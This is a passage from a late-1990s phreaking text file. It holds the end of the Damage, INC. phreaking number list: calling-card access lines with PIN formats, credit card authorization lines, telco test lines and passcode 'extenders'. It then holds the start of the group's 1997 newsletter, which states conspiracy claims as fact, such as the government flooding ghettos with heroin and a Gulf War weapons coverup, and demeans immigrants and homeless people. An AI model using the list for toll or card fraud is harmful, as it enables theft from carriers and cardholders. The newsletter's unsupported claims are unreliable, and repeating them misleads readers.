+ Carriers:
+-------------------------------------------------------------------------------
+
+1-800-234-1998 Digital Equipment Corp. Electronic Store. (Online Shopping)
+1-800-234-6245 MCI (USA)
+1-800-283-5474 Okidata (inside joke!)
+1-800-346-3247 CompuServe.
+1-800-368-7244 AT&T Information Access Services SignOn/Pwd (USA)
+1-800-368-7247 AT&T Information Access Services SignOn/Pwd (USA)
+1-800-444-8697 RTK-NET.
+1-800-604-6245 Digital Equipment Corporation.
+1-800-624-5123 AT&T STATION ID - C2/34.11 Canada 2 Datakit.
+1-800-692-8872 (1-800-MY-ATT-PC) NCR Global Support Center BBS. (3 lines)
+1-803-939-8207 NCR Global Support Center BBS. (9 lines)
+
+(Use the N-8-1 setting to connect to the carriers above.)
+
+
+-------------------------------------------------------------------------------
+ Cellular, PCS and Paging Services:
+-------------------------------------------------------------------------------
+
+1-800-214-4488 Wireless Solutions Hotline.
+1-800-222-8466 Cellular Rentals.
+1-800-263-7536 Nokia Mobile Phones.
+1-800-264-2355 (1-800-ANI-BELL) Cellular South Answer Center.
+1-800-274-3127 MobileCom's National Customer Service Center.
+1-800-276-2355 Frontier Communications Customer Service.
+1-800-374-2355 InterCall.
+1-800-374-2776 Ericsson Mobile Phones Customer Care Center.
+1-800-405-6543 American Mobile.
+1-800-411-2355 Car Phone Store.
+1-800-432-2355 Air Touch Paging. 1-800-6AIR-TOUCH Air Touch Paging Canada.
+1-800-438-2355 Kentucky Cellular.
+1-800-452-2355 Appalacian Wireless.
+1-800-460-2255 Pager Service.
+1-800-474-2355 OmniCell Technologies Incorporated.
+1-800-481-2355 ATI Cellular.
+1-800-483-5010 Cellular Express.
+1-800-488-2355 Cellular 2000.
+1-800-496-2355 Nationlink.
+1-800-518-2355 CellToys International. (Cellular, PCS, accessories etc.)
+1-800-549-2355 Advanced Cellular and Paging.
+1-800-590-2355 ATI Cellular.
+1-888-638-2355 Cantel AT&T.
+1-800-613-2355 Cellular Unlimited.
+1-800-638-2355 Comcev Cellular Communications.
+1-800-667-2355 SouthTel Mobility.
+1-800-667-7243 Cantel AT&T Paging.
+1-800-673-2355 Quintex Cellular.
+1-800-705-2355 OmniCell Technical Department VMS.
+1-800-706-2355 Paging Service Center.
+1-800-724-2355 AllCell Rentals.
+1-800-742-2355 Mobile Media.
+1-800-759-2355 Plymouth Bell Laboratories.
+1-800-765-2355 Isralink Communications. (Israel Cell phones)
+1-800-794-2355 Advantage Communications Systems.
+1-800-806-2355 Advantage Paging. (I believe it's Bell Advantage)
+1-800-821-2355 MobileCom.
+1-800-854-2355 MobileCall accounts.
+1-800-866-2770 MobileCom. (pager service)
+1-800-866-7000 MobilCom.
+1-800-871-2355 The Phone Man. (I'm fucking serious... Haha)
+1-800-872-6222 American Mobile Satellite Communications Products. (U.S. only)
+1-800-874-6387 Trellis Communications.
+1-800-887-2255 Trellis Premier Voice Mail and Paging.
+1-800-926-2355 Ubet Wireless.
+1-800-980-2355 Light Cellular.
+1-800-999-6500 Cable and Wireless Customer Care Center.
+1-877-948-4968 (1-877-WITH-YOU) Frontier Cellular.
+1-877-CELLPHONE Travel Phone (Cellular phone company)
+1-877-WIRELESS Cellular Depot.
+1-888-229-4443 Cantel AT&T Canada.
+1-888-300-2355 Consolidated Wireless Corporation.
+1-888-444-2355 Maricell Cellular.
+1-888-481-FIDO Fido PCS Services.
+1-888-593-2355 S&E Cellular.
+1-888-638-2355 Cantel AT&T.
+1-888-694-2355 Corporate Communications at AirTouch Customer Service.
+1-888-801-2355 Cell Phones and Accessories.
+1-888-877-2355 Comcev Communications.
+1-888-879-2355 Portable Communications. (The home of the Phone Man)
+1-888-901-2355 Digital Communications.
+1-888-902-2355 NewTech Wireless. (Paging, cellular, equipment, etc.)
+1-888-968-2355 Everything Wireless.
+1-888-999-2355 Downtown Wireless.
+1-888-CELL-BOOK CellCom and PageCom.
+1-888-PSI-NET1 PSI Net Limited.
+1-888-PSI-NET2 PSI Net Limited.
+1-888-WIRELESS Page USA.
+
+
+-------------------------------------------------------------------------------
+ Free Disks:
+-------------------------------------------------------------------------------
+
+1-888-265-4357 (1-888-AOL-HELP) AOL Canada (only call for free 3«" AOL disks)
+1-800-487-4838 CompuServe.
+1-800-776-3449 Prodigy.
+1-800-777-9638 Sprynet - Gives you two disks.
+1-800-786-7638 SunSoft - Free 30-day evaluation disk. (press 1)
+1-800-827-6364 America Online.
+
+
+-------------------------------------------------------------------------------
+ Calling Cards:
+-------------------------------------------------------------------------------
+
+1-800-213-0304 Talk `n Toss Calling Card.
+1-800-213-4222 Calling Card.
+1-800-265-3121 Prepaid LD.
+1-800-277-7468 Sprint Prepaid Calling (press 1)
+1-800-279-6111 Unidial Calling Card.
+1-800-393-0711 7-11 Calling Cards.
+1-800-423-4343 AT&T Calling Cards (16 digit code) (automated)
+1-800-437-6404 Champs Sports Calling Card (9 digit code)
+1-800-444-3556 (1-800-HI-HELLO) Hello Direct. (Mail-order telphonics equipment,
+ pre-paid phone cards, etc.)
+1-800-463-0004 Some calling card service
+1-800-484-6245 MCI. (4 Digit Security Code)
+1-800-560-6245 "Please enter your four digit Frontier Spectrum PIN."
+1-800-572-6361 Pepsi Phone Card.
+1-800-662-6214 AT&T Calling Cards.
+1-800-674-6245 Musical Notes and then "Please enter your card number now."
+1-800-674-7325 MCI Calling Card.
+1-800-674-9997 MCI Calling Card.
+1-800-225-5475 Smart Cards USA.
+1-800-475-9105 Customer Service for pre-paid calling cards.
+1-800-690-6245 "Please enter your four digit Frontier Spectrum PIN."
+1-800-783-1414 Frontier Access Card.
+1-800-811-3728 Globo Prepaid Phone Cards (10 digit codes) (automated)
+1-800-814-2808 Sprint Prepaid calling card service.
+1-800-827-8750 "Please enter your calling card number."
+1-800-836-2255 "Press 1 for English, 2 for Korean. Enter your card number."
+1-800-860-4444 Qwest Communications. (calling card calls)
+1-800-864-7000 Premier World Link Access Number.
+1-800-997-6245 Decoma calling card service. "Please enter your card number."
+1-800-999-9000 TONE. "Please enter your MCI WorldCom card number now."
+1-800-BCE-HELP Ideal Dial's Telecard Platform.
+1-877-258-9088 Globo Prepaid Phone Cards Customer Service.
+1-888-813-1426 Kokanee Talkin' Tag Phone Card (10 digit PIN)
+
+
+-------------------------------------------------------------------------------
+ Teleconferencing:
+-------------------------------------------------------------------------------
+
+1-800-225-5100 AT&T Corporate Teleconferencing.
+1-800-225-5500 Teleconference Assistance.
+1-800-225-5700 AT&T Teleconferencing.
+1-800-232-1234 AT&T Teleconferencing.
+1-800-235-0900 AT&T Teleconferencing. (Spanish and English)
+1-800-255-5100 AT&T Teleconferencing.
+1-800-255-5500 AT&T Teleconferencing.
+1-800-369-1117 MCI Teleconferencing.
+1-800-475-4455 Conference Calling Center.
+1-800-475-6894 Quarrel Conferencing.
+1-800-525-8244 Frontier Confertech.
+1-800-544-6363 AT&T Alliance Teleconference Service (U.S.)
+1-800-567-3678 Bell (Dis)Advantage Teleconference (Canada)
+1-800-625-5288 Teleconference Playback Center.
+1-800-827-1700 Conference Call USA.
+1-800-886-2355 Frontier Teleconferencing.
+1-800-900-6338 Advantage Conferencing Services.
+1-800-925-8000 Conference America.
+1-800-962-0044 Conf Call USA.
+
+
+-------------------------------------------------------------------------------
+ Credit Card Verification:
+-------------------------------------------------------------------------------
+
+1-800-228-1111 American Express.
+1-800-228-1122 Credit Card Verification.
+1-800-268-2530 Credit Card Verification.
+1-800-268-8281 Royal Bank Authorization Centre for Visa Cards.
+1-800-333-1337 Authorization Centre.
+1-800-336-0220 Credit Card Service Bureau.
+1-800-361-8370 National Bank Authorization Centre for Master Card.
+1-800-528-2121 American Express Card.
+1-800-555-1880 Fleet's Card Activation and PIN line.
+1-800-556-5678 Bank number to report stolen bank cards.
+1-800-561-5224 Credit Authorization Centre
+1-800-796-2355 Card Services (Visa and Mastercard)
+1-800-810-2355 Customer Service Center.
+1-800-866-5000 National Credit Center.
+
+
+-------------------------------------------------------------------------------
+ Canadian Security Intelligence Service (CSIS):
+-------------------------------------------------------------------------------
+
+(204) 983-5405 CSIS in Winnipeg.
+(306) 780-5512 CSIS in Saskatchewan.
+(403) 421-5800 CSIS in Edmonton.
+(403) 292-5255 CSIS in Calgary.
+(416) 865-1480 CSIS in Toronto.
+(418) 529-8926 CSIS in Quebec City.
+(506) 452-3786 CSIS in Fredericton.
+(514) 393-5600 CSIS in Montreal.
+(604) 528-7400 CSIS in British Columbia.
+(613) 993-9620 CSIS HQ in Ottawa.
+(613) 998-1679 CSIS.
+(709) 772-5449 CSIS in Newfoundland.
+(902) 420-5900 CSIS in Halifax.
+1-800-267-7685 CSIS (Ontario only)
+1-800-564-0866 CSIS (Toronto region)
+1-800-661-5780 CSIS (Alberta/Saskatchewan/Manitoba/Thunder Bay only)
+
+
+-------------------------------------------------------------------------------
+ Non-Toll Free Extenders, etc.
+-------------------------------------------------------------------------------
+
+(519) 651-2252 Extender (4 digit Client numbers and passcodes)
+(519) 654-9000 Ability Telecom extender/diverter. (4 digit passcodes)
+(519) 742-9621 Bell Canada VMS.
+(519) 846-2255 Extender. (5 digit passcode)
+(519) 895-2255 Extender. (5 digit passcode)
+
+
+-------------------------------------------------------------------------------
+ Silent Lines, Test Lines and Strange Messages:
+-------------------------------------------------------------------------------
+
+(403) 425-0052 Gives you Info about a Bell CO in Alberta.
+(416) 690-4804 - Remote 44A (aka Bell Hut) (it's a switching center)
+(423) 539-0001 Memorycall Access line.
+(423) 588-9909 Memorycall Access line.
+(423) 602-7811 Remote Call FWD Access.
+(514) 391-1715 Wide Area Telephone Service (WATS)
+(514) 391-4005 MDAR Trouble line.
+(514) 481-1111 1khz tone.
+(514) 481-1191 1Khz&Battery.
+(514) 673-2111 Centrex (ASA)
+(514) 786-6786 Control.
+(514) 852-8686 Cables.
+(514) 870-0200 CDE code MTL.
+(514) 870-0669 CDE code MTL.
+(514) 870-0704 CDE code MTL.
+(514) 870-1252 DMS.
+(847) 823-9995 Gives reading on the Bell CO, including alert and battery
+ conditions and temperature. Also allows you to check the sound
+ levels, allowing you to hear inside the CO.
+1-800-200-0301 Test line (loud beep)
+1-800-200-0302 Test line (loud beep)
+1-800-221-0200 Siren Tones.
+1-800-225-5122 "We are sorry but this program has not started. Thank you for
+ calling."
+1-800-225-5300 "We are sorry but this program has ended and no further calls are
+ being taken. Thank you for calling."
+1-800-225-5308 High pitched TONE.
+1-800-225-5528 TONE. "Please enter the number you are calling."
+1-800-225-5563 Ring+Silent line.
+1-800-225-5871 High Tone then Dialtone.
+1-800-356-2255 Dialtone.
+1-800-361-8313 Bell Canada. "There is no service at this number."
+1-800-465-7735 Strange Tones.
+1-800-369-2255 Silent line.
+1-888-374-2355 "You have entered an invalid telephone number."
+1-800-430-7938 DMS.
+1-800-444-1677 Siren Tones.
+1-800-455-2013 Ring + Click then Trunk Busy signal.
+1-800-455-7947 1 Ring then silent line.
+1-800-475-2037 Siren Tones.
+1-800-483-2276 No Ring + Trunk Busy signal.
+1-800-483-2655 "We're sorry, we're unable to place a call from this number."
+1-800-483-2933 Siren Tones.
+1-800-483-9774 Ring + Trunk Busy Signal.
+1-800-485-2255 Ring + Trunk Busy Signal.
+1-800-522-2255 Dialtone.
+1-800-555-1120 "We are sorry but this program has ended and no further calls are
+ being taken. Thank you for calling."
+1-800-555-1220 Same message as 1-800-555-1120.
+1-800-555-1226 Siren Tones.
+1-800-555-2123 Tones.
+1-800-555-2147 Ring + Trunk Busy signal.
+1-800-555-2342 Dialtone. (PBX)
+1-800-555-3585 Dialtone. (PBX)
+1-800-555-3696 Silent line.
+1-800-555-6690 Tone.
+1-800-624-2255 "We're sorry. We're unable to place a call from this number.
+ Goodbye."
+1-800-638-0156 Tones.
+1-800-647-2255 "I'm sorry. We are no longer taking calls for this project."
+1-800-827-0000 "You have entered an invalid telephone number..."
+1-800-827-0011 "We're sorry, all circuits are now busy..."
+1-800-827-3750 "You have dialed an invalid location."
+1-800-827-7878 "You have dialed an invalid location."
+1-800-861-9905 Loud Ring+Tones then "Thank you. Please hang up now."
+1-800-862-6338 Blast of Noise. Some type of test line.
+1-800-866-9317 High Tone
+1-800-877-8000 Low Tone
+1-800-898-2355 Silent line.
+1-800-900-1302 Silent line.
+1-800-900-2274 Silent line.
+1-800-925-0288 "This is not a valid number."
+1-800-959-9997 "Test 1, 2, 3, 4." message.
+1-888-468-2355 "Due to technical difficulties we cannot record your message
+ at this time."
+1-888-487-5346 L.E.G.O.S.
+1-888-786-6786 Control.
+1-888-871-2380 Waterloo Facilities.
+
+
+-------------------------------------------------------------------------------
+ FAX-Backs:
+-------------------------------------------------------------------------------
+
+1-800-222-9323 AMV FAX-Back
+1-800-268-9100 Bell Canada 1-900, 976, Info Line (2,1,2,AC,NUM,#,#)
+1-800-282-2000 Phillips (1,2,6,AC,NUM,#,1,#)
+1-800-323-6586 Tandy Retail Services FAX-Back. (order Tandy docs!)
+1-800-345-1518 Compaq Computer PaqFax
+1-800-365-0696 Genecom Corporation FAX-back service. (Digital Printer Support)
+1-800-368-9673 Hewlett-Packard Information Storage Quick Fax (1,2,AC,NUM,1,2,)
+1-800-380-0030 Diamond (2,2AC,NUM,#,1,AC,NUM,#,1)
+1-800-443-1254 HP Portable Products (5,5,5,#,3,2,2,2,1#AC,NUM,#,1,#,)
+1-800-446-6212 Analog Fax (2,1,0,AC,NUM,1,AC,NUM,#,1)
+1-800-451-2100 Lucent Technologies Main number (get product info by FAX).
+1-800-483-2495 Central FAX on demand system. (FAX-Back)
+1-800-521-2846 Brother FAX-Back (they make fax machines and typewriters)
+1-800-522-6752 Amp Fax (1,8,90,#,#,AC,NUM,#,#,AC,NUM,#,#,#)
+1-800-525-3019 Intel (1,1,3,2,AC,NUM,1,#)
+1-800-722-4786 Sun Microsystems Service Canada (1,2,4,1,AC,NUM,#,1)
+1-800-727-3351 Micro$oft Sales FAX Service Line. (press *,1,1,AC,NUM,#,5,0)
+1-800-822-4269 Borland Tech-Fax Document Retrieval System (3,2,1,AC,NUM,#,1,3,1)
+1-800-827-3000 Elite Group (press 1 for Fax-back)
+1-800-832-4778 Western Digital Fax Access (2,1,1,1,AC,NUM,#,1,AC,NUM,#,1)
+1-800-832-6328 Ameritech Team Data Support Center (press 6,2,1,2,AC,NUM,1)
+ (pressing 6 transfers you to the Ameritech Team Data Information
+ Server which you can use to obtain telco info via FAX-Back)
+1-800-872-4786 Sun Microsystems Service United States (2,4,1,AC,NUM,#,1)
+1-800-879-8632 US West News line. (U.S. only)
+1-800-943-8329 Integrated Device Tech (1000,1,3000,1,#,AC,NUM#,1,#)
+1-800-IBM-4FAX IBM FAX Information Service. (3,1,0,1,1,1,AC,NUM,#,1,1)
+1-800-SKY-USER SkyTel Customer Service. (press 3 for FAX on demand for docs)
+1-888-322-8444 Hartford Shareholders News & Info FAX-Back (3,1,AC,NUM)
+
+
+-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
+
+Final Notes:
+
+If you'd like to contribute to the Damage, INC. Phreaky Field Phreaking List,
+discover any dupes, numbers that are no longer in service or ones that have
+been misidentified, please notify us in Email at damage_inc@dope.org and report
+the error. That way the addition/correction can be made for all subsequent
+editions. The list is updated and released on a quarterly basis. So, if you
+send numbers your alias will be listed in the next edition, which we expect to
+release in the Fall of 1999.
+
+Thanks go out to the following people (in no particular order) for their
+contributions to this list. It's a large, ongoing project that wouldn't exist
+without their support, and we appreciate the efforts that they've made towards
+this compilation of numbers. If you contributed in some way but were neglected
+to be mentioned, then contact Damage, INC. and notify us about the oversight.
+
+Contributors:
+
+THC Phreak, BLACKENED, Shatazar, Helena3, Breaker, x25lurker, Tobias, Nevada,
+Fringe, , Syko416, Lord Narayana, 1dot1, Overflow Trap, Fatal Vision,
+Voyageur514, Silent Sentry, L00pster5, Phearless One, The Clone, Loud Ton3y,
+Cultist, The Pusher, Gerfalcon, Jackal, Anarchist613, Betsi.ÿÿÿÿ
+
+It was created, scanned, compiled, verified and distributed by phreaks, for
+phreaks. And in addition to that, it's damn phreaky. Have phun... and look
+for more releases courtesy of Damage, INC. and Blamerica Phreaky Industries.
+
+- Blackie Lawless
+
+ Copyright 1999 by Damage, INC. All Rights Reserved.
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+ "The name speaks for itself!" ÞÝ
+
+ Presents the
+
+ Damage, INC. Newsletter
+
+ September 1997 Issue #1
+
+ "Knowledge is Power and Power is Damage, INC."
+
+ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
+ C O N T E N T S :
+
+
+INTRODUCTION - A BRIEF INTRODUCTION TO THE FIRST DAMAGE, INC. NEWSLETTER.
+
+BIG BROTHER BASHING - GOVERNMENT CONTROL AND CORRUPTION IN OUR SOCIETY.
+ Search String: {BIG BROTHER}
+
+CONSPIRACIES AND COVERUPS - THE GULF WAR SYNDROME COVERUP...EXPOSED.
+ Search String: {COVERUPS}
+
+CORRUPTION AND GREED - BURGER KING AND HUDSON FOODS...A LETHAL COMBINATION.
+ Search String: {GREED}
+
+H/P INFORMATION AND NEWS - MOTIVATIONAL NEOPHYTE BLURB.
+ Search String: {NEWS}
+
+INTERVIEWS AND INTERROGATIONS - A SPECIAL INTERVIEW WITH THE JOURNALIST.
+ Search String: {INTERVIEWS}
+
+OBJECTIVE OPINIONS - ONTARIO HYDRO...A MELTDOWN WAITING TO HAPPEN.
+ Search String: {OPINIONS}
+
+REPORTS FROM THE FRONT - WINDOWS NT LIES.
+ Search String: {REPORTS}
+
+SOURCE AND SCRIPTS - THE NWO TROJAN BY DAMAGE, INC.
+ Search String: {SOURCE}
+
+THE JOURNALIST'S TOP TEN LIST - PRANKS TO PULL AT SCHOOL.
+ Search String: {TOP TEN}
+
+CLOSING COMMENTS - BLACKENED'S EXPLOSIVE CLOSING COMMENTS.
+ Search String: {CLOSING}
+
+ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
+
+
+INTRODUCTION: The Damage, INC. Newsletter was created for several important
+ purposes. We want to use this medium as a weapon to fight the
+ corruption that exists, reveal conspiracies and coverups, give
+ useful information to those in the h/p scene. We hope that our
+ articles are not only informative, but also interesting. If we
+ can achieve our goals and make the Damage, INC. Newsletter an
+ entertaining and thought provoking source of reading, then this
+ great undertaking will be worthwhile. This is the first issue
+ of what will become a monthly newsletter that is very unique.
+ Everything that is written will contain the opinions expressed
+ by members of Damage, INC. as well as writers that contribute
+ articles that they've written. Integrity, honour and truth are
+ very important to us. Thus, every aspect of the Damage, INC.
+ Newsletter will reflect those strong beliefs. We cannot be
+ bribed or bought off and we don't make deals with anyone. We
+ aren't seeking fame, profit or anything else. Therefore, you
+ can trust the unbiased, truthful words that are written here.
+ Damage, INC. isn't affiliated with any other groups. The words
+ that we speak are our own. Our word is more than just our
+ reputation, it's everything to us. We want the Damage, INC.
+ Newsletter to prove itself to be a reliable source of useful
+ information. Of course, it's up to the readers to decide for s
+ themselves whether or not they think what we release is quality.
+
+
+{BIG BROTHER} BASHING -
+Government Control and Corruption in our Society:
+
+ If you have read the book 1984 by George Orwell, you will immediately
+recognize the phrase "Big Brother." You have to ask yourself then, how far
+is our current society from that state? I asked myself this exact question,
+and my answer? Not that far, if we continue on the way things are going.
+ Canada is not as bad as the United States, but calling us "the 53rd
+state" is a pretty close comparison. And I must say, things have improved
+in the 1990's. Equal rights are an important social advancement, and I am
+glad to see a step in the right direction. All praise aside, I think its
+time to expose what's really going on...
+ Supposedly we live in a "Democracy".
+ HAHAHAHHAHAHAHA.
+ I need convincing. Let's face it, "by the people, of the people, for the
+people" is a crock 'a' shit. Government looks out for government first, then
+the good of society. Ever heard of Watergate? It's just the biggest
+government coverup in the twentieth century. Ever wonder about the Vietnam
+War? Now why exactly did Washington send thousands of soldiers to kill
+millions of citizens? We can never know. Let me tell you about the Black
+Panthers - A radical negro rights group in the 1960's. The Local law
+enforcement gave them so much trouble, they eventually fell apart. Despite
+the fact that they broke no laws, hurt nobody, just wanted to be treated
+the same. And just how did "the man" control these outbreaks? They flooded
+the Ghetto with extremely pure, "china-white" heroine, at dirt-cheap prices.
+If you want proof, watch the news, any channel, at 6:00pm. Murder rate up
+7% since last year. "Just another homicide". It's no bullshit, the ghetto
+warzone was created by none-other than your local government.
+ And then of course, there's the CiA LSD experiments in the 1960's.
+Making subjects stay up for 40 days at a time, tripped out 24/7. Asking
+themselves, "so, I wonder how much Acid this guy can take before he goes
+clinically insane." Nobody knew about these experiments though. The
+families were bought out, or threatened; the subjects themselves were all
+eventually admitted to mental institutions. It's scary.
+ And these are just ones I'm thinking of off the top of my head. There
+are many more documented in books and film. Mel Gibson's latest flick
+"Conspiracy Theory" is Hollywood's way of showing the Film-going public what
+really goes on behind closed doors. Blackened talks about Government
+coverup in war-time situations in this issue.
+ This is a taste of the current political situation. In every aspect,
+Politics has some underhanded connection in it. Whether it's kickbacks
+to the Mafia, or deals made with Hells Angels. From the health-inspector
+who takes bribes, to the Tax Auditor who embezzles funds, the fabric of our
+Government is woven with Fraud. Corruption is so heavily entrenched in
+the current political system, I believe things will not get better if we
+don't do something about it. The outcome if we don't???
+ Collapse.
+Total and utter, political, economic, social collapse. But that is at the
+end. Because If we let things continue the way they are, you will be
+praying at night for the collapse. The end. Please God end this Hell.
+That will be your prayer. And they'll hear it. Because "they'll" have
+technology that can hear everything. One for each block. They'll justify
+it by claiming it reduces crime, being able to listen in on anybody, at
+any time. I heard the other day that private companies d/l all newsgroup
+and public messages from the internet, and log them. They keep massive
+storage/retrieval systems on every word that get's published on the news
+groups. How much do you want to bet that CIA or FBI search those databases
+for "suspicious" discussion? We'll never know.
+ This newsletter is intended to open your eyes. This article was written
+in the hopes that you will not believe everything "your government" tells
+you. The way I see it, it's US against THEM.
+
+(c)1997 written by The Journalist 04/09/97
+
+
+CONSPIRACIES AND {COVERUPS} -
+THE GULF WAR SYNDROME COVERUP...EXPOSED:
+
+The Central Intelligence Agency (CIA), Department of Defense (DOD) and top
+brass of the American Military are all involved in an immense coverup. That
+includes the former President of the United States, George Bush. He was the
+Commander in Chief at the time of the Gulf War. Bush also happens to be an
+ex-CIA director. Former military leaders such as Colin Powell, Norman
+Schwartzkopf and possibly others were involved in the massive coverup as well.
+President Clinton has formed a committee that's supposed to investigate the
+"Gulf War Illness" but nothing productive will result from it. The proof is
+that one member has already been removed for trying to get CIA and DOD top
+secret documents de-classified to show that troops were exposed to chemical and
+biological weapons. Therefore, Bill Clinton is also part of the coverup since
+he has said and done nothing but setup a fixed commission. Clinton knows the
+truth but he isn't going to reveal it.
+
+According to an ex-CIA member, the Gulf War Syndrome was caused by chemical
+and biological weapons that American and other coalition troops were exposed
+to during the war. By his latest estimates, over 100,000 U.S. troops alone
+were affected and are still suffering. The CIA promptly fired him and tried
+to silence him by giving out his name, address, unlisted phone numbers and
+social security number.
+
+Saddam Hussein *did* unleash powerful chemical and biological weapons. In
+fact, some of the "harmless and inaccurate" SCUD missiles were armed with
+them. During some of the SCUD attacks, major damage was done and wasn't
+reported. As in, yellow rain (first used in Vietnam and Afghanistan by Russia)
+burned the skin of troops after a SCUD exploded near their location. Many
+areas were targets of these deadly, poisonous attacks. Saudi Arabia, Kuwait
+and certain areas of Iraq are all known to be places where troops saw and
+experienced strange things. For example, they were instructed to destroy
+thousands of bombs that were seized. Unfortunately, they weren't told to wear
+protective gas masks and clothing. They weren't warned of the dangers involved
+with destroying those types of weapons. Actually, they were told nothing but
+just expected to perform the duty and serve their country. Meanwhile, there
+were disposal trenches and vehicles outside the buildings that were marked
+Biological Hazard etc. Safe methods weren't used to dispose of the chemical
+and biological weapons though. That's the reason why thousands of soldiers
+are sick today, years after the conflict ended.
+
+The CIA's involvement is vast. They were directly involved and worked closely
+with the Department of Defense (DOD) to coverup the evidence and deny the fact
+that troops were exposed to any chemical or biological weapons. They even
+denied knowing anything about the situation. They claimed to have absolutely
+no knowledge about those weapons being used in the Gulf War. Meanwhile, they
+have documents that contradict their own statements. The CIA is a corrupt
+organization that is built upon lies and coverups. That's how they've done
+business throughout their entire history. Basically, the CIA is more concerned
+with their own interests than that of the people they are supposed to protect.
+They made deals with the Department of Defense. Meanwhile, that is a conflict
+of interest. The CIA should be keeping track of what the DOD does, instead of
+covering their negligent asses for them!
+
+Troops from many nations are still suffering from the Gulf War Syndrome. Many
+ground soldiers from the United Kingdom, France, Saudi Arabia and other
+countries have shown the same symptoms as American troops. They're being told
+by doctors at Veteran's hospitals that it is all in their heads. It is now
+September 1997 and still nobody will admit the truth about what actually
+occurred during the Gulf War. In order to cure the disease and illnesses caused
+by biological weapons, you must first know what troops were affected, where they
+were on duty, what weapons were involved in the attack or during the destruction
+process etc. Until that happens, soldiers that served their countries in the
+Gulf War will continue to suffer the severe lifelong consequences. Personally,
+I find it to be a sickening example of the extent that governments will go to
+coverup documented events. It's a real tragedy that has continued long after
+the actual battle has ceased. That's the real legacy of the Gulf War. So,
+before you think about the victory and laugh at the defeat of Iraq and Hussein,
+consider for a moment the conspiracy and great coverup in the aftermath.
+
+(C)opyright 1997 Written by Damage, INC.
+
+
+CORRUPTION AND {GREED} -
+BURGER KING AND HUDSON FOODS...A LETHAL COMBINATION:
+
+Burger King's main supplier was Hudson Foods (a huge American meat company that
+recently recalled millions of pounds of beef). Last week, Hudson Foods sold
+their Columbus, Nebraska plant to Tyson Foods. The processing plant was the
+main beef division for Hudson Foods. Recently, NBC's Dateline reported on
+the situation. They spoke with former Hudson employees, and were told several
+shocking stories describing the types of activities that went on at the plant.
+USDA (U.S. Department of Agriculture) inspection tags that pointed out problems
+with meat were *removed*, which is a criminal offence. Ground beef that fell
+onto the floor was used in the making of hamburger patties. "Keep production
+going!" was their only slogan. Greed and profit drove Hudson Foods to put
+the health of every customer at risk. They were so corrupt, the management
+forced employees to change reports that they'd written. In case you aren't
+aware, meat has to be transported, stored and shipped out after processing at
+a low temperature to prevent bacteria from growing. Well, Hudson Foods would
+not allow employees to record temperatures that were too high. Normally, meat
+should be kept at 34 degrees or lower. Meanwhile, meat at Hudson Foods was
+consistently above that...sometimes 44 degrees or even warmer. So, they'd tell
+the employees to probe for a cold spot. If that failed, they'd do anything to
+influence them into writing down a lower temperature. That can have deadly
+consequences. Former Hudson employees also reported that it was almost
+impossible to keep up with the demand from customers, mainly Burger King.
+
+This week, Burger King introduced a new hamburger called the "Big King" in an
+attempt to compete with McDonald's Big Mac. Who is their new supplier? How
+are they going to be able to supply even more hamburgers to Burger King? Can
+we trust the food that we pay for and consume? As customers of fast food
+chains, should we question whether or not the food is tainted and contaminated?
+Is there any type of protection in place to safeguard consumers? Have you ever
+heard the term E. Coli used before? If not, continue to read this article and
+Damage, INC. will educate you by giving you the cold, harsh facts.
+
+FOOD RADIATION:
+
+After Hudson Foods tainted beef scandal has been exposed, there is a renewed
+interest in food radiation. When food is irradiated, supposedly any E. Coli,
+Salmonella and other micro-organisms in the food product are killed. Instead
+of using good meat handling practices, the quick and easy way out is food
+radiation. The term "radiation" conjures up all kinds of images. To readers
+that haven't heard of E. Coli, it's a lethal form of bacteria that is common in
+animal and human waste.
+
+According to a scientist interviewed on CBC Radio, food has been irradiated
+for over 40 years, and is a common practice in 40 countries. The scientist
+also claimed that the United States and Canada use the technology in a limited
+capacity. They supposedly only irradiate imports from other countries like
+tropical fruits, spices, etc. I seriously doubt that. I believe they also
+irradiate domestic foods in Canada and I'll stand by those words.
+
+The World Health Organization, and the American Medical Association have
+already endorsed the practice of food radiation. However, the DOA (Department
+of Agriculture and FDA (Food and Drug Administration) are stalling because of
+what is viewed as "the public's notion that radiation is harmful... that they
+are fearful of the word radiation." The FDA commented that the practice would
+be unacceptable to consumers because of their fear. Why should we trust them?
+Do you want to ingest food that's been radiated? I definitely don't. During
+the 1950s atomic bomb tests, scientists claimed radiation levels were safe
+enough for American troops to be directly exposed to at close range. Should
+we now believe that food radiation is completely safe? Haha! Radiation can be
+a deadly weapon. Don't be naive. Don't allow them to brainwash you by saying
+that it isn't harmful. How could radiation be good for you? What's next?
+Perhaps they'll want to add poison to our food supply in order to kill other
+forms of bacteria.
+
+The main purpose of the technology is to kill any molds and funguses that
+are in the food product. (Should moldy meat be used in the first place?)
+Setting up the technology is expensive, but the scientist claimed that most of
+the big meat packers could easily afford it. Hudson Foods could've easily
+afforded it, since they would bus in homeless drug addicts from New York City
+and Mexican immigrants to work at their meat processing plant. Now that's what
+I call a cheap labour force. Can employees such as that be trusted to handle
+food properly? I think not. They didn't even test meat in the plant's lab.
+They used the excuse of being too overloaded with orders from Burger King. At
+any rate, food radiation shouldn't be the solution. It's all about greed and
+making huge profits. Food safety is the last priority and totally ignored.
+
+The food radiation process is as follows:
+
+First, the meat is examined with all of the current methods. Second, the
+meat is cleaned, and processed (cut into retail cuts of meat, packaged,
+etc.). Then they are dropped onto a conveyor belt and sent to a "shielded"
+part of the plant. The food is then exposed to intense gamma rays. That is
+correct, gamma rays. The same gamma rays that turned the Incredible Hulk
+green! The process takes time, so the meat is exposed more than just a few
+seconds. The gamma radiation supposedly breaks down the DNA of the offending
+micro-organism, rendering it unable to reproduce. When the life cycle of
+the existing micro-organism has ended, the scientist said that the offending
+organism (like E. Coli) is gone, unless the meat is put into conditions where
+the micro-organism thrives. In other words, the meat can still become tainted
